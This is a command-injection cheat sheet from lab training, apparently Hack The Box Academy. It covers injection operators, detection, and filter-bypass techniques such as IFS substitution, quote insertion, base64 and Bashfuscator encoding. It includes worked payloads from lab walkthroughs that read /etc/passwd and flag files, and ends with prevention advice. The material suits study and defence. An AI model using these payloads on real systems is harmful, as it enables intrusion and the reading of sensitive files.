Injection Operators
| Operator | Character | URL-Encoded | Result |
|---|---|---|---|
| Semicolon | ; |
%3b |
Both commands run, both outputs shown |
| New Line | \n |
%0a |
Both run — usually not blacklisted (often needed in payloads) |
| Background | & |
%26 |
Both run — second output generally shown first |
| Pipe | | |
%7c |
Only the second (injected) output is shown |
| AND | && |
%26%26 |
Second only runs if first succeeds |
| OR | || |
%7c%7c |
Second only runs if first fails |
| Sub-Shell | ` / $() |
%60 / %24%28%29 |
Linux-only, output is shown |
Order to test (least to most filtered):
; → \n → & → |.
If ; is blocked, \n very often still
works.
Detection
- Error-based: inject
;+ a harmless command — if OS errors (e.g.mv: ...) or your command output appear in the response, the input reaches a shell. - Blind: inject
sleep 5/ping -c 10 127.0.0.1and time the response. - Identify the filter: send ONE character at a time
(
;,&,|, space,/,\,$, quotes...) appended to a known-good value and watch for the deny message — map exactly what is blacklisted before trying bypasses.
Bypass Blacklisted Characters
Spaces
%09 # tab — works in both Linux and Windows shells
${IFS} # Linux env var = space+tab (sometimes filtered as a word!)
{ls,-la} # brace expansion — commas become spaces (bash)
$IFS$9 # if ${IFS} is filtered as a word, $IFS$9 (empty $9) may pass
Slash / (Linux)
${PATH:0:1} # / (PATH starts with /, slice 0..1)
${HOME:0:1} # / (if HOME=/root)
$(tr '!-}' '"-~'<<<.) # character shifting: . (46) -> / (47)
Semicolon ;
(when ; itself is filtered)
${LS_COLORS:10:1} # ; (slice char 10 out of LS_COLORS)
$(tr '!-}' '"-~'<<<:) # character shifting: : (58) -> ; (59)
# then use it as the operator: 127.0.0.1${LS_COLORS:10:1}${IFS}whoami
Windows variants
%PROGRAMFILES:~10,-5% rem -> space (CMD)
$env:PROGRAMFILES[10] # -> space (PowerShell)
%HOMEPATH:~6,-11% rem -> \ (CMD)
$env:HOMEPATH[0] # -> \ (PowerShell)
Bypass Blacklisted Commands
Character insertion (Linux + Windows)
w'h'o'am'i # single quotes — total must be EVEN, no mixing
w"h"o"am"i # double quotes — same rule
who$@ami # Linux: $@ expands to nothing
w\ho\am\i # Linux: backslash — only if \ is not filtered
who^ami # Windows CMD caret
Case manipulation
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") # Linux: lowercase then execute
$(a="WhOaMi";printf %s "${a,,}") # alternate form
WhOaMi # Windows: directly, shells are case-insensitive
Reversed commands
echo 'whoami' | rev # imaohw
$(rev<<<'imaohw') # execute reversed
Encoded commands (best for chars + spaces + pipes all filtered)
echo -n 'cat /etc/passwd | grep 33' | base64
# Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
# ^^^ <<< here-string avoids the pipe | entirely
- Check the b64 output for
/and+— both can be filtered. Regenerate with a slightly different command until clean, or use hex (xxd -r -p) if only hex chars are allowed. - If
bash/base64are blacklisted words → insert quotes:b'a'sh<<<$(b'a'se64 -d<<<...).
Advanced Obfuscation — Bashfuscator
git clone https://github.com/Bashfuscator/Bashfuscator && cd Bashfuscator
pip3 install setuptools==65 && python3 setup.py install --user # older Python only
# short, deterministic-ish output (ForCode mutator = pure bash builtins)
./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1
# Token/ForCode payload example (no external binaries — runs anywhere bash exists):
# bash <<< "$(I1=(c e a p \ t w d s \/);for Px in 0 2 5 ...;{ printf %s "${I1[$Px]}";};)"
# full output to a file (avoids display line-wrapping that corrupts the payload):
./bashfuscator -c 'cat /home/user/flag.txt' -s 1 -t 1 --no-mangling --layers 1 -o payload.txt
Key insight: bashfuscator evades command/WAF
signature filters — it does NOT care about character
filters. Its output still contains spaces, slashes, pipes... →
layer it: base64-encode the generated payload and ship
it through the decoder transport (above). Verify with
bash -c "$(cat payload.txt)" locally first.
Windows: DOSfuscation
(Invoke-DOSfuscation) — interactive, encoding
→ produces
typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:... style
output.
Skills Assessment Case Study — Tiny File Manager (auth guest:guest)
- File manager actions run real system commands — trigger Move with
the same source/dest and read the error:
mv: '/var/www/html/files/x' ...→ OS execution confirmed. - Move endpoint:
GET /index.php?to=<dest>&from=<file>&finish=1&move=1— params concatenated intomvunescaped. - Filter mapped:
;blocked, raw&+ wordidblocked, spaces blocked,/blocked → bypassed with:
# id via from param
to=x&from=&i'd&finish=1&move=1
# read /flag.txt via to param — output redirected to stderr (1>&2) because
# the app only echoes the command's STDERR back in the error message!
to=&c'a't<TAB>${PATH:0:1}flag.txt<TAB>1>&2&from=&i'd&finish=1&move=1
# Result: "Error while moving: HTB{...}mv: ..."
Lessons:
- Output channel matters — if stdout is swallowed, redirect
1>&2(or pipe into something that writes stderr). - Obfuscate the command word (
c'a't), not just the operators. - The error message is your best friend: it reveals the exact command line.
Full Worked Examples (Host Checker lab)
# Baseline: payload goes into ip= ; server runs: ping -c 1 <input>
ip=127.0.0.1;whoami # both outputs
ip=127.0.0.1%0awhoami # newline — both outputs
ip=127.0.0.1%26whoami # & — second output shown FIRST
ip=127.0.0.1%7cwhoami # | — ONLY injected output shown
# Filters: ; & | whoami space / \ all blacklisted, newline allowed
ip=127.0.0.1%0als # OK — ls not on the word list
ip=127.0.0.1%0als%09-la # tab instead of space
ip=127.0.0.1%0a{ls,-la} # brace expansion
ip=127.0.0.1%0awho$@ami # $@ insertion -> whoami
ip=127.0.0.1%0ac'a't%09${PATH:0:1}home${PATH:0:1}1nj3c70r${PATH:0:1}flag.txt
# cat /home/<user>/flag.txt fully unblocked
# Encoded escape hatch (works against almost everything):
ip=127.0.0.1%0ab'a'sh<<<$(b'a'se64%09-d<<<B64STRING)
Prevention (dev side)
- Never build shell commands from user input — use language-native
APIs (
subprocesswith arg arrays,execve, PHPproc_openwith array). - If a shell is unavoidable:
escapeshellarg()every argument. - Whitelist input format (e.g. strict IP regex) server-side — never
rely on client-side
pattern. - Filter on the decoded value, block both operators
AND common command words, and remember
\n— the operator everyone forgets.